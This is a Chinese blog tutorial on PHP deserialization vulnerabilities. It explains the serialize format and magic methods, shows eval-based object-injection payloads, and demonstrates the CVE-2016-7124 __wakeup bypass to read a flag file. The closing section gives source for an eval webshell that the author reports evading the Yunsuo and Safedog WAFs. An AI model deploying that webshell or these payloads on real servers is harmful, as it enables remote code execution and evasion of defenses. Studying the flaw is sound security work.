前言

我们在日常的漏洞挖掘的过程中,PHP反序列化漏洞是一种利用条件比较苛刻的漏洞,但是这个漏洞存在就会产生严重的后果,所以学习反序列化漏洞是很有必要的。

PHP序列化

我们在了解反序列化漏洞之前,我们可以先了解一下PHP的序列化。PHP中,序列化用户存储或传递PHP的值的过程,同时不丢失其类型和结构,我们可以通过一下代码来加深了解

<?php
    $str = 'test';
    echo serialize($str);
?>

输出结果

s:4:"test";

其中
s代表:变量数据类型
4代表:变量名称长度
test代表变量的内容

其中serialize()是将对象序列化,所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。在对不同类型的数据的反序列化的结果也不同:

<?php
class CC {
    public $data;
    private $pass;
    
    public function __construct($data, $pass)
    {
        $this->data = $data;
        $this->pass = $pass;
    }
}
$number = 34;
echo serialize($number);
$str = 'name';
echo serialize($str);
$bool = true;
echo serialize($bool);
$null = NULL;
echo serialize($null);
$arr = array('a' => 1, 'b' => 2);
echo serialize($arr);
$cc = new CC('uu', true);
echo serialize($cc);
?>    

序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。输出结果:

i:34;
s:6:"name";
b:1;
N;
a:2:{s:1:"a";i:1;s:1:"b";i:2;}
O:2:"CC":2:{s:4:"data";s:2:"uu";s:8:"CCpass";b:1;}

我们可以看到,类的序列化的数据有些不同,在类中序列化的格式是这样的

O:2:"CC":2:{s:4:"data";s:8:"CCpass";}
对象的类型:类名的长度:类名:类中变量的个数:{变量类型:变量长度:值;变量类型:变量长度:变量的值;}
public类型的数据序列化后的名称不变,private私有的会在变量名称前加上类名

这里有个地方我们需要注意一下,我们属性的值是CCpass长度是6,但是最终输出的结果是8,这是也是因为私有变量的原因,我们可以将反序列化的内容写入到一个文件,然后通过010editor查看其内容

<?php
class CC {
    public $data;
    private $pass;
    public function __construct($data, $pass)
    {
        $this->data = $data;
        $this->pass = $pass;
    }
}
$cc = new CC('uu', true);
$data =  serialize($cc);
file_put_contents('serialize.txt', $data);
?>


我们可以看到在类名的前后都有一个%00,这就导致了长度是8.

其他数据类型的缩写:

a - array                  b - boolean  
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

PHP反序列化

刚才我们通过一些简单的代码了解了序列化,那么接下来就了解反序列化,反序列化所用到的函数是unserialize()unserialize()对单一的已序列化的变量进行操作,将其转换回 PHP 的值。 在解序列化一个对象前,这个对象的类必须在解序列化之前定义。我们可以使用之前代码中已经序列化的结果来进行反序列化的测试

<?php
class CC {
    public $data;
    private $pass;

    public function __construct($data, $pass)
    {
        $this->data = $data;
        $this->pass = $pass;
    }
}
$cc = new CC('uu', true);
$cc_value =  serialize($cc);
$obj = unserialize($cc_value);
var_dump($obj);
echo $obj->data;
?>

输出结果:

object(CC)#2 (2) {
 ["data"]=>
 string(2) "uu"
 ["pass":"CC":private]=>
 bool(true)
}
uu

我们可以看到反序列化之后,从字符串有变回了对象,最后我们还输出了对象中的变量的值。我们需要注意的是,我们在反序列化话之前,这个被反序列化的对象必须已经被定义,否则会报错。

PHP序列化常用函数

__construct   当一个对象创建时被调用,
__destruct   当一个对象销毁时被调用,
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__sleep()    使用serialize时触发
__call()    在对象上下文中调用不可访问的方法时触发
__callStatic()    在静态上下文中调用不可访问的方法时触发
__get()    用于从不可访问的属性读取数据
__set()    用于将数据写入不可访问的属性
__isset()    在不可访问的属性上调用isset()或empty()触发
__unset()     在不可访问的属性上使用unset()时触发
__toString()    把类当作字符串使用时触发,返回值需要为字符串
__invoke()   当脚本尝试将对象调用为函数时触发

PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法(Magic methods),我们在定义方法的时候,不能使用这个方法名,除非我们想要使用其功能。

我们可以通过以下例子来了解这些函数

<?php
class Test
{
    public $name;
    private $age,$phone,$address;
    public function __construct($name,$age,$phone,$address){
        $this->name = $name;
        $this->age = $age;
        $this->phone = $phone;
        $this->address = $address;
        echo "对象被创建";
        echo "\n";
    }
    public function __destruct(){
        echo "对象被销毁";
        echo "\n";
    }
    public function __sleep()
    {
        echo "开始序列化";
        echo "\n";
        return array("name","age","phone","address");
    }
    public function __wakeup()
    {
        echo "开始反序列化";
        echo "\n";
    }    
}

$obj = new Test("test",11,188,"GodV");//创建对象会执行__construct函数
$str = serialize($obj);//serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
$obj2 = unserialize($str);//unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
?>

输出结果:

对象被创建
开始序列化
开始反序列化
对象被销毁
对象被销毁

PHP反序列化漏洞

PHP反序列化漏洞的产生是因为,在接收到反序列化内容的时候,没有对其过滤就会产生漏洞,如果攻击者精心构造了一个可以被反序列化的内容,就会导致PHP对象注入。所以这个漏洞的利用需要有两个前提,一是反序列化的参数可以被控制,二是代码里有定义含有魔术方法的类,且类中出现一些使用类成员变量作为参数的存在安全问题的函数。

我们通过以下代码来了解一下漏洞的产生

<?php
class Test{
    var $test = "echo 123;";
    function __destruct(){
        eval($this->test);
    }
}
unserialize($_GET['a']);
?>

其中使用这个类创建对象序列化之后的结果是

O:4:"Test":1:{s:4:"test";s:9:"echo 123;";}

我们将其修改为如下内容并作为参数传递过去

O:4:"Test":1:{s:4:"test";s:10:"phpinfo();";}

我们可以看到,我们构造的代码就被执行了,但是反序列化漏洞不单单有代码执行,需要根据业务逻辑看起内部代码的执行,可能会造成sql注入,目录遍历等漏洞。

反序列化魔法函数绕过

wakeup()魔法函数绕过

这个漏洞的实现需要PHP5<5.6.25PHP7<7.0.10,这个漏洞的编号是CVE-2016-7124,这个漏洞的关键是当序列化字符串中表示对象属性个数的值大于真实的属性个数时候会跳过__wakeup的执行

Demo测试

<?php
//需要读取的目标文件在flag.php中
header("Content-Type: text/html; charset=utf-8"); 
error_reporting(0); 
class sercet{ 
    private $file='test_index.php'; 
    function __construct($file){ 
        $this->file=$file; 
    } 

    function __destruct(){ 
        echo @highlight_file($this->file, true); 
    } 

    function __wakeup(){ 
        $this->file='test_index.php'; 
    } 
} 
unserialize($_GET['val']);  
?>

我们通过代码的分析以及得到如果想要读取flag.php文件中的内容,我们需要解决1个问题

  • 当开始反序列化的时候,会执行__weakup(),将我们指定的文件名强制更换为test_index.php,我们需要想办法绕过

我们通过之前的了解,知道如果我们在构造反序列化内容的时候,如果表示对象属性个数大于真实的个数,就会绕过__wakeup()的执行,所以我们接下来就可以使用这种方法来绕过。

首先我们构造序列化后的字符串

<?php
//需要读取的目标文件在flag.php中
header("Content-Type: text/html; charset=utf-8"); 

class sercet{ 
    private $file='test_index.php'; 
    function __construct($file){ 
        $this->file=$file; 
    } 

    function __destruct(){ 
        echo @highlight_file($this->file, true); 
    } 

    function __wakeup(){ 
        $this->file='test_index.php'; 
    } 
} 
$obj = new sercet("test_flag.php");
echo serialize($obj);  
?>

输出结果:

O:6:"sercet":1:{s:12:"sercetfile";s:13:"test_flag.php";}

首先我们测试不修改其属性个数看返回的结果:

接着,我们将其属性个数进行修改为2,然后因为其参数属性是private,我们在属性名字中添加%00,构造完毕结果如下:

O:6:"sercet":2:{s:12:"%00sercet%00file";s:13:"test_flag.php";}

使用反序列化实现小马

通过上面我们对php的序列化以及反序列化的了解,我们可以使用这种方式来写一个小马从而实现免杀的效果,功能简单,我们就直接上代码了。

<?php 
class A{
    var $name = "name";
    function __destruct(){
        @eval($this->name);
    }
}
$name = $_POST['name'];
$len = strlen($name)+1;
$str = "O:1:\"A\":1:{s:4:\"name\";s:".$len.":\"".$name.";\";}"; 
unserialize($str);
?>

绕过云锁测试:

绕过安全狗测试:

但是D盾经过测试,依旧被拦截,以后有机会继续针对D盾进行绕过测试。

最后修改:2020 年 09 月 17 日
如果觉得我的文章对你有用,请随意赞赏